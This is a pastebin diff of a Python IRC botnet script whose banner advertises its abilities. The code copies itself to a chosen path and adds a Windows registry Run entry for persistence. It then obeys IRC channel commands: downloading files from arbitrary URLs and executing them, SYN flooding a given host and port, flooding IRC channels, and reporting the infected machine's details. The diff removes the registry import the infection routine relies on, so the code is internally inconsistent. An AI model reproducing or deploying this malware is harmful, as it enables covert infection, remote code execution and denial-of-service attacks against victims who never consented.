View difference between Paste ID: kdFNPRfz and 8B9dz0aF

 #!/usr/bin/python
 
 
 print '''
 
 # Python Botnet.
 # Author: Muhammad Adeel aka Innoxent Stoker
 # FB: http://facebook.com/xtoker
 # Email: [email protected]
 
          _\|/_
          (o o)
  +----oOO-{_}-OOo--------------+
  |==> author: Muhammad Adeel   +
  +==> FB.com/xtoker            +
  |==> [email protected]      +
  +-----------------------------+
 
  I Can Do Following Things.
 
  [*]  Can Copy Myself AnyWhere in PC.
  [*]  Can Use the registry to add Myself to startup.
  [*]  Can Download files.
  [*]  Can Execute files.
  [*]  Can Syn flood.
  [*]  Can Irc channel flood attacks.
  [*]  Can Give info on the infected PC.
 
- [+] Use: change irc server and Port. and run it.
+
 
 
 import socket
 import sys
 import random
 import urllib2
 import subprocess
 import os.path
 import os
 import threading
 import platform
 import shutil
 
 
 # Settings....
-from _winreg import *
+
 server = raw_input("Enter IRC Server: ")
 channel = raw_input("Channel Name: ")
 keyword = raw_input("Enter Keyword: ")
 nickprefix = raw_input("Nick Prefix: ")
-server = "banks.freenode.net"
+outfile = raw_input("Path to copy botnet: ")
-channel = "irc://banks.freenode.net/hacking"
+
-keyword = "hacking"
+
-nickprefix = "Stoker"
+
-outfile = "E:"
+
 ver = "1.0"
 synkill = False
 
 class Synflood(threading.Thread):
     def run(self):
         sendmsg(channel, "Starting syn flood to " + host + " on port " + str(port))
         while synkill == False:
             synsock = socket.socket()
             synsock.connect((host, port))
         return
 
 class Download(threading.Thread):
     def run(self):
         afile = url.rsplit('/', 1)
         u = urllib2.urlopen(url)
         localFile = open(afile[1], 'w')
         localFile.write(u.read())
         localFile.close()
         sendmsg(channel, "Download of " + str(afile[1]) + " completed")
 
 class Chanflood(threading.Thread):
     def run(self):
         chanfloodsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         try:
             chanfloodsock.connect((chanfloodserv, 6667))
         except socket.error:
             sendmsg(channel, "server timed out or does not exist")
         else:
             sendmsg(channel, "Flooding " + chanfloodchan + " on " + chanfloodserv)
             chanfloodsock.send(str.encode("USER "+ botnick +" "+ botnick +" "+ botnick +" :hax\n"))
             chanfloodsock.send(str.encode("NICK "+ botnick +"\n"))
             chanfloodsock.send(str.encode("JOIN "+ chanfloodchan + " " + chanfloodkeyword + "\n"))
             while chanfloodkill == False:
                 chanfloodsock.send(str.encode("PRIVMSG "+ chanfloodchan +" :" + msg + "\n") )
             return
 
 class Infect(threading.Thread):
     def run(self):
         shutil.copy(sys.argv[0],outfile)
         aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
         aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
         SetValueEx(aKey,"Explorer",0, REG_SZ, outfile)
 
 def connect():
     try:
         ircsock.connect((server, 6667))
     except socket.error:
         print "timed out.. trying again.."
         connect()
     else:
         ircsock.send(str.encode("USER "+ botnick +" "+ botnick +" "+ botnick +" :hax\n"))
         ircsock.send(str.encode("NICK "+ botnick +"\n"))
 
 def ping():
     ircsock.send(str.encode("PONG :pingis\n"))
 
 def sendmsg(chan , msg):
   ircsock.send(str.encode("PRIVMSG " + chan +" :" + msg + "\n") )
 
 def joinchan(chan):
   ircsock.send(str.encode("JOIN " + chan + " " + keyword + "\n"))
 
 def leavechan(chan):
   ircsock.send(str.encode("PART " + chan + " leaving the channel" + "\n"))
 
 def quitirc(chan):
    chanfloodkill = True
    synfloodkill = True
    ircsock.send(str.encode("QUIT" + "\n"))
 
 ircsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 botnick = nickprefix + str(random.randint(1,10000))
 connect()
 joinchan(channel)
 
 if os.path.isfile(outfile) == False:
     Infect().start()
 else:
     print "\nComputer is already infected"
 
 while 1:
   ircmsg = ircsock.recv(2048)
   ircmsg_clean = ircmsg.strip(str.encode('\n\r'))
   print(ircmsg_clean)
 
   if ircmsg.find(str.encode("Nickname is already in use")) != -1:
     botnick = nickprefix + str(random.randint(1,10000))
     ircsock.send(str.encode("NICK "+ botnick +"\n"))
     joinchan(channel)
 
   if ircmsg.find(str.encode("PING :")) != -1:
     ping()
 
   if ircmsg.find(str.encode("!leave")) != -1:
       leavechan(channel)
 
   if ircmsg.find(str.encode("!quit")) != -1:
       quitirc(channel)
       sys.exit()
 
   if ircmsg.find(str.encode("!download")) != -1:
     try:
         parts = ircmsg_clean.split()
         url = parts[4]
     except IndexError:
         sendmsg(channel, "Invalid syntax, usage: !download <direct_link_to_file>")
     else:
         if __name__ == "__main__":
             Download().start()
 
 
   if ircmsg.find(str.encode("!run")) != -1:
     try:
         parts = ircmsg_clean.split()
         run = parts[4]
     except IndexError:
         sendmsg(channel, "Invalid syntax, usage: !run <filename>")
     else:
         if os.path.isfile(run) == True:
             subprocess.call(['start', run], shell=True)
             sendmsg(channel, run + " has been executed.")
         else:
             sendmsg(channel, run + " does not exist.")
 
   if ircmsg.find(str.encode("!syn")) != -1:
     try:
         parts = ircmsg_clean.split()
         host = parts[4]
         port = int(parts[5])
     except IndexError:
         sendmsg(channel, "Invalid syntax, usage: !syn <host> <port>")
     else:
         if __name__ == "__main__":
             synkill = False
             t = Synflood().start()
 
   if ircmsg.find(str.encode("!stopsyn")) !=-1:
     synkill = True
     sendmsg(channel, "Flood stoped")
 
   if ircmsg.find(str.encode("!info")) !=-1:
     iall = "all"
     try:
         parts = ircmsg_clean.split()
         inick = parts[4]
     except IndexError:
         sendmsg(channel, "Invalid syntax, usage: !info <botname> or !info all to view info on all bots.")
     else:
         if inick == botnick or inick == iall:
             os = platform.system()
             name = platform.node()
             proc = platform.processor()
             info = "OS: " + os + ", Name: " + name + ", Processor: " + proc
             sendmsg(channel, info)
 
 
   if ircmsg.find(str.encode("!moreinfo")) !=-1:
     miall = "all"
     try:
         parts = ircmsg_clean.split()
         inick = parts[4]
     except IndexError:
         sendmsg(channel, "Invalid syntax, usage: !moreinfo <botname> or !moreinfo all to view detailed info on all bots.")
     else:
         if inick == botnick or inick == miall:
             minfo = platform.uname()
             sendmsg(channel, str(minfo))
         else:
             sendmsg(channel, inick + " does not exist in channel.")
 
   if ircmsg.find(str.encode("!chanflood")) !=-1:
     try:
         parts = ircmsg_clean.split()
         chanfloodserv = parts[4]
         chanfloodchan = parts[5]
         chanfloodkeyword = parts[6]
         sg = ircmsg_clean.rsplit("-m")
         msg = sg[1]
     except IndexError:
         sendmsg(channel, "Invalid Syntax, usage: !chanflood <server> <chan> <chankeyword> -m <message>")
     else:
         chanfloodkill = False
         sendmsg(channel, "server: " + chanfloodserv + " | channel: " + chanfloodchan + " | keyword: " + chanfloodkeyword + " | MESSAGE: " + msg)
         Chanflood().start()
 
   if ircmsg.find(str.encode("!stopchanflood")) !=-1:
     chanfloodkill = True
     sendmsg(channel, "Stoping flood.")
 
   if ircmsg.find(str.encode("!name")) !=-1:
     sendmsg(channel, "My name is: " + sys.argv[0])
 
   if ircmsg.find(str.encode("!version")) !=-1:
     sendmsg(channel, ver)